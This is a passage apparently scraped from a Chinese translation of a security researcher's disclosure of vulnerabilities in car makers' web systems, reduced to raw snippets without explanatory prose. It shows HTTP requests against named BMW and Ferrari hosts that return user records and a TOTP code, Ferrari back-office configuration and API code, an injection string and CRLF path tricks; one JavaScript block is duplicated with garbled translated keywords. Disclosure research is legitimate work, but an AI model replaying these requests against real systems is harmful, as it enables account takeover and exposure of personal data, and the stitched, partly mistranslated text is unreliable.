网络黑客vs.汽车行业:法拉利，宝马，劳斯莱斯，保时捷和更多的关键漏洞

GET /rest/api/application.wadl HTTP/1.1Host: xpita.bmwgroup.com

GET /reset/api/users/example* HTTP/1.1Host: xpita.bmwgroup.com

HTTP/1.1 200 OKContent-type: application/json
{“id”:”redacted”,”firstName”:”Example”,”lastName”:”User”,”userName”:”example.user”}

GET /rest/api/chains/accounts/unique_account_id/totp HTTP/1.1Host: xpita.bmwgroup.com

HTTP/1.1 200 OKContent-type: text/plain
9373958

validateSSOToken() { const e = this.geturlParam("token"), i = this.geturlParam("vin"); return this.postOffice({ token: e, vin: i }, "/prof/gbl/vsso", "POST", "preLogin").pipe(ye(this.processSuccessData), Nn(this.handleError)) } validateSSOToken() {const e = this.geturlParam("token")， i = this.geturlParam("vin");返回。postOffice({token: e, vin: i}， "/prof/gbl/vsso"， "POST"， "preLogin").pipe(ye(this.processSuccessData)， Nn(this.handleError))}

const i = {                        production: !0,                        envName: "production",                        version: "0.0.0",                        build: "20221223T162641363Z",                        name: "ferrari.dws-preowned.backoffice",                        formattedName: "CMS SPINDOX",                        feBaseUrl: "https://{{domain}}.ferraridealers.com/",                        fePreownedBaseUrl: "https://{{domain}}.ferrari.com/",                        apiUrl: "https://api.ferrari.com/cms/dws/back-office/",                        apiKey: "REDACTED",                        s3Bucket: "ferrari-dws-preowned-pro",                        cdnBaseUrl: "https://cdn.ferrari.com/cms/dws/media/",                        thronAdvUrl: "https://ferrari-app-gestioneautousate.thron.com/?fromSAML#/ad/"                    }

})).url.startsWith(x.a.apiUrl) && !["/back-office/dealers", "/back-office/dealer-settings", "/back-office/locales", "/back-office/currencies", "/back-office/dealer-groups"].some(t => !!e.url.match(t)) && (e = (e = e.clone({                                    headers: e.headers.set("Authorization", "" + (s || void 0))                                })).clone({                                    headers: e.headers.set("x-api-key", "" + a)                                }));

return t.prototype.getConnectors = function() {    return this.httpClient.get("rest-connectors")}, t.prototype.getConnectorById = function(t) {    return this.httpClient.get("rest-connectors/" + t)}, t.prototype.createConnector = function(t) {    return this.httpClient.post("rest-connectors", t)}, t.prototype.updateConnector = function(t, e) {    return this.httpClient.put("rest-connectors/" + t, e)}, t.prototype.deleteConnector = function(t) {    return this.httpClient.delete("rest-connectors/" + t)}, t.prototype.getItems = function() {    return this.httpClient.get("rest-connector-models")}, t.prototype.getItemById = function(t) {    return this.httpClient.get("rest-connector-models/" + t)}, t.prototype.createItem = function(t) {    return this.httpClient.post("rest-connector-models", t)}, t.prototype.updateItem = function(t, e) {    return this.httpClient.put("rest-connector-models/" + t, e)}, t.prototype.deleteItem = function(t) {    return this.httpClient.delete("rest-connector-models/" + t)}, t

GET /cms/dws/back-office/rest-connector-models HTTP/1.1

GET /core/api/v1/[email protected] HTTP/1.1Host: fcd.services.ferrari.com

HTTP/1.1 200 OKContent-type: application/json
…"guid":"2d32922a-28c4-483e-8486-7c2222b7b59c","email":"[email protected]","nickName":"[email protected]","firstName":"Ian","lastName":"Carroll","birthdate":"1963-12-11T00:00:00"…

victim' #

GET /%0dadminGET /%0ddashboard

https://www.bleepingcomputer.com/news/security/hyundai-app-bugs-allowed-hackers-to-remotely-unlock-start-cars/Twitter：https://twitter.com/samwcyo/status/1597695281881296897?s=20&t=Ul7dThm6dUPPEd67y7HwOA

Twitter：https://twitter.com/samwcyo/status/1597792097175674880?s=20&t=QBkZnooPsYWqilnKY-EpMw

Twitter：https://twitter.com/_specters_/status/1597984481511903234?s=20&t=GfIQdWV4oHMGHoPNTubIHw